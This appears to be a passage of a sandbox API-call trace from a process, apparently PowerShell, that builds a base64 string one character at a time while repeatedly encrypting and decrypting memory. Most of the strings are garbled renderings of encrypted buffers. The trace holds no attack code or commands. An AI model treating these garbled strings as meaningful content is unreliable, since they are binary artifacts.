(param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qFuI6a5JuqCyv+L2Q=П䑕⮑䋐") returned 0x30 [0234.266] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0234.266] EtwEventActivityIdControl () returned 0x0 [0234.267] EtwEventActivityIdControl () returned 0x0 [0234.267] EtwEventActivityIdControl () returned 0x0 [0234.267] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.267] EtwEventActivityIdControl () returned 0x0 [0234.267] EtwEventActivityIdControl () returned 0x0 [0234.267] EtwEventActivityIdControl () returned 0x0 [0234.268] SysStringLen (param_1="") returned 0x8 [0234.268] SysStringLen (param_1="N") returned 0x8 [0234.268] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.268] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0234.268] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0234.268] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.268] SysStringLen (param_1="ND") returned 0x8 [0234.269] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.269] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0234.269] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0234.269] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.269] SysStringLen (param_1="NDZ") returned 0x8 [0234.269] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.269] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0234.269] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0234.269] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.269] SysStringLen (param_1="NDZl") returned 0x8 [0234.269] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.269] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0234.269] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0234.269] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.270] SysStringLen (param_1="NDZlO") returned 0x8 [0234.270] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.270] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0234.270] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0234.270] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.270] SysStringLen (param_1="NDZlOD") returned 0x8 [0234.270] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.270] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0234.270] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0234.270] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.270] SysStringLen (param_1="NDZlODR") returned 0x8 [0234.270] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.270] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0234.270] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0234.270] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.271] SysStringLen (param_1="NDZlODRm") returned 0x8 [0234.271] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.271] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0234.271] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0234.271] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0234.271] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0234.272] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.272] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0234.272] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.272] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0234.272] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0234.272] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.272] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0234.272] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.272] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0234.272] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0234.272] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.272] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0234.272] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.272] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0234.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0234.273] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.273] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0234.273] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0234.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0234.273] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.273] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0234.273] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0234.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0234.273] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.273] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0234.273] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0234.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0234.274] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.274] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0234.274] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0234.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0234.274] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.274] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0234.274] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0234.275] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0234.275] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0234.275] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0234.275] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.275] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0234.275] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.275] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0234.275] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0234.275] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.275] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0234.275] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.276] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0234.276] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0234.276] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.276] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0234.276] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.276] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0234.276] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0234.276] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.276] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0234.276] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.276] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0234.276] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0234.276] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.277] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0234.277] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.277] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0234.277] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0234.277] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.277] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0234.277] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.277] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0234.277] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0234.277] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.277] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0234.277] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.277] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0234.277] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0234.277] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.278] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0234.278] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0234.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0234.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0234.279] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0234.279] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.279] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0234.279] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.279] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0234.279] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0234.279] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.279] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0234.279] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.279] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0234.279] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0234.279] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.279] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0234.280] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.280] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0234.280] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0234.280] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.280] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0234.280] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.280] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0234.280] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0234.280] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.285] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0234.285] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.285] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0234.285] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0234.285] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.286] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0234.286] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.286] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0234.286] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0234.286] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.286] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0234.286] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.286] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0234.286] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0234.286] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.286] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0234.286] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.286] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0234.287] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0234.287] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0234.287] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0234.287] SystemFunction041 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.287] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0234.287] SystemFunction040 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.288] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0234.288] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0234.288] SystemFunction041 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.288] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0234.288] SystemFunction040 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.288] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0234.288] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0234.288] SystemFunction041 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.288] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0234.288] SystemFunction040 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.288] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0234.288] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0234.288] SystemFunction041 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.288] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0234.289] SystemFunction040 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.289] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0234.289] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0234.289] SystemFunction041 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.289] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0234.289] SystemFunction040 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.289] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0234.289] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0234.289] SystemFunction041 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.289] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0234.289] SystemFunction040 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.289] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0234.289] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0234.289] SystemFunction041 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.290] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0234.290] SystemFunction040 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.290] SysStringLen 